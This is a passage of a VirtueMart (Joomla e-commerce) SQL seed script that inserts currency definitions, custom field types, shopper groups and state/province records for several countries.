'{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 'Samoan tala', '', 'WST', 882, 0, 'T', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 'Yemeni rial', '', 'YER', 886, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 'Serbian dinar', '', 'RSD', 941, 0, 'Дин.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 'South African rand', '', 'ZAR', 710, 0, 'R', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 'Zambian kwacha', '', 'ZMK', 894, 0, 'ZK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 'Zimbabwean dollar', '', 'ZWD', 932, 0, 'Z$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 'Armenian dram', '', 'AMD', 51, 0, 'դր.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 'Myanmar kyat', '', 'MMK', 104, 0, 'K', '2', ',', '', '{number} {symbol}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 'Croatian kuna', '', 'HRK', 191, 0, 'kn', '2', ',', '.', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 'Eritrean nakfa', '', 'ERN', 232, 0, 'Nfk', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 'Djiboutian franc', '', 'DJF', 262, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 'Icelandic króna', '', 'ISK', 352, 0, 'kr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 'Kazakhstani tenge', '', 'KZT', 398, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 'Kyrgyzstani som', '', 'KGS', 417, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 'Latvian lats', '', 'LVL', 428, 0, 'Ls', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 'Lithuanian litas', '', 'LTL', 440, 0, 'Lt', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 'Mexican peso', '', 'MXN', 484, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 'Moldovan leu', '', 'MDL', 498, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 'Namibian dollar', '', 'NAD', 516, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 'Nicaraguan córdoba', '', 'NIO', 558, 0, 'C$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 'Ugandan shilling', '', 'UGX', 800, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 'Macedonian denar', '', 'MKD', 807, 0, 'ден', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 'Uruguayan peso', '', 'UYU', 858, 0, '$', '0', '', '', '{symbol}number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 'Uzbekistani som', '', 'UZS', 860, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 'Azerbaijani manat', '', 'AZN', 934, 0, 'ман', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 'Ghanaian cedi', '', 'GHS', 936, 0, '₵', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 'Venezuelan bolívar', '', 'VEF', 937, 0, 'Bs', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 'Sudanese pound', '', 'SDG', 938, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 'Uruguay Peso', '', 'UYI', 940, 0, 'UYI', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 'Mozambican metical', '', 'MZN', 943, 0, 'MT', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 'WIR Euro', '', 'CHE', 947, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 'WIR Franc', '', 'CHW', 948, 0, 'CHW', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 'Central African CFA franc', '', 'XAF', 950, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 'East Caribbean dollar', '', 'XCD', 951, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 'West African CFA franc', '', 'XOF', 952, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 'CFP franc', '', 'XPF', 953, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 'Surinamese dollar', '', 'SRD', 968, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 'Malagasy ariary', '', 'MGA', 969, 0, 'MGA', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 'Unidad de Valor Real', '', 'COU', 970, 0, 'COU', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 'Afghan afghani', '', 'AFN', 971, 0, '؋', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 'Tajikistani somoni', '', 'TJS', 972, 0, 'ЅМ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 'Angolan kwanza', '', 'AOA', 973, 0, 'Kz', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 'Belarusian ruble', '', 'BYR', 974, 0, 'p.', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 'Bulgarian lev', '', 'BGN', 975, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 'Congolese franc', '', 'CDF', 976, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 'Bosnia and Herzegovina convert', '', 'BAM', 977, 0, 'KM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 'Mexican Unid', '', 'MXV', 979, 0, 'MXV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 'Ukrainian hryvnia', '', 'UAH', 980, 0, '₴', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 'Georgian lari', '', 'GEL', 981, 0, 'ლ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 'Mvdol', '', 'BOV', 984, 0, 'BOV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_customs` -- INSERT INTO `#__virtuemart_customs` ( `virtuemart_custom_id`, `custom_parent_id`, `admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1,0, 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, 1, '2011-05-25 21:52:43', 62, '2011-05-25 21:52:43', 62, '0000-00-00 00:00:00', 0), (2,0, 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (2, 1, 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT', 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_DESCR', 1, 1, 1), (1, 1, 'COM_VIRTUEMART_SHOPPERGROUP_GUEST', 'COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR', 2, 1, 1); -- -- Dumping data for table `#__virtuemart_states` -- INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `virtuemart_worldzone_id`, `state_name`, `state_3_code`, `state_2_code`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, 223, 0, 'Alabama', 'ALA', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 1, 223, 0, 'Alaska', 'ALK', 'AK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 1, 223, 0, 'Arizona', 'ARZ', 'AZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 223, 0, 'Arkansas', 'ARK', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 223, 0, 'California', 'CAL', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 1, 223, 0, 'Colorado', 'COL', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 223, 0, 'Connecticut', 'CCT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 1, 223, 0, 'Delaware', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 223, 0, 'District Of Columbia', 'DOC', 'DC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 223, 0, 'Florida', 'FLO', 'FL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 223, 0, 'Georgia', 'GEA', 'GA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 223, 0, 'Hawaii', 'HWI', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 1, 223, 0, 'Idaho', 'IDA', 'ID', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 1, 223, 0, 'Illinois', 'ILL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 223, 0, 'Indiana', 'IND', 'IN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 223, 0, 'Iowa', 'IOA', 'IA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 223, 0, 'Kansas', 'KAS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 223, 0, 'Kentucky', 'KTY', 'KY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 223, 0, 'Louisiana', 'LOA', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 223, 0, 'Maine', 'MAI', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 223, 0, 'Maryland', 'MLD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 223, 0, 'Massachusetts', 'MSA', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 1, 223, 0, 'Michigan', 'MIC', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 223, 0, 'Minnesota', 'MIN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 223, 0, 'Mississippi', 'MIS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 223, 0, 'Missouri', 'MIO', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 223, 0, 'Montana', 'MOT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 223, 0, 'Nebraska', 'NEB', 'NE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 223, 0, 'Nevada', 'NEV', 'NV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 223, 0, 'New Hampshire', 'NEH', 'NH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 223, 0, 'New Jersey', 'NEJ', 'NJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 223, 0, 'New Mexico', 'NEM', 'NM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 223, 0, 'New York', 'NEY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 223, 0, 'North Carolina', 'NOC', 'NC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 223, 0, 'North Dakota', 'NOD', 'ND', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (36, 1, 223, 0, 'Ohio', 'OHI', 'OH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (37, 1, 223, 0, 'Oklahoma', 'OKL', 'OK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (38, 1, 223, 0, 'Oregon', 'ORN', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (39, 1, 223, 0, 'Pennsylvania', 'PEA', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 223, 0, 'Rhode Island', 'RHI', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 223, 0, 'South Carolina', 'SOC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 223, 0, 'South Dakota', 'SOD', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (43, 1, 223, 0, 'Tennessee', 'TEN', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 223, 0, 'Texas', 'TXS', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (45, 1, 223, 0, 'Utah', 'UTA', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 223, 0, 'Vermont', 'VMT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 223, 0, 'Virginia', 'VIA', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (48, 1, 223, 0, 'Washington', 'WAS', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 223, 0, 'West Virginia', 'WEV', 'WV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 223, 0, 'Wisconsin', 'WIS', 'WI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (51, 1, 223, 0, 'Wyoming', 'WYO', 'WY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 38, 0, 'Alberta', 'ALB', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (53, 1, 38, 0, 'British Columbia', 'BRC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 38, 0, 'Manitoba', 'MAB', 'MB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 38, 0, 'New Brunswick', 'NEB', 'NB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 38, 0, 'Newfoundland and Labrador', 'NFL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (57, 1, 38, 0, 'Northwest Territories', 'NWT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 38, 0, 'Nova Scotia', 'NOS', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (59, 1, 38, 0, 'Nunavut', 'NUT', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 38, 0, 'Ontario', 'ONT', 'ON', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 38, 0, 'Prince Edward Island', 'PEI', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 38, 0, 'Quebec', 'QEC', 'QC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 38, 0, 'Saskatchewan', 'SAK', 'SK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 38, 0, 'Yukon', 'YUT', 'YT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 222, 0, 'England', 'ENG', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (66, 1, 222, 0, 'Northern Ireland', 'NOI', 'NI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 222, 0, 'Scotland', 'SCO', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 222, 0, 'Wales', 'WLS', 'WS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 13, 0, 'Australian Capital Territory', 'ACT', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 13, 0, 'New South Wales', 'NSW', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (71, 1, 13, 0, 'Northern Territory', 'NOT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (72, 1, 13, 0, 'Queensland', 'QLD', 'QL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 13, 0, 'South Australia', 'SOA', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 13, 0, 'Tasmania', 'TAS', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 13, 0, 'Victoria', 'VIC', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 13, 0, 'Western Australia', 'WEA', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 138, 0, 'Aguascalientes', 'AGS', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 138, 0, 'Baja California Norte', 'BCN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 138, 0, 'Baja California Sur', 'BCS', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 138, 0, 'Campeche', 'CAM', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 138, 0, 'Chiapas', 'CHI', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 138, 0, 'Chihuahua', 'CHA', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 138, 0, 'Coahuila', 'COA', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 138, 0, 'Colima', 'COL', 'CM', 0, 0, 1, 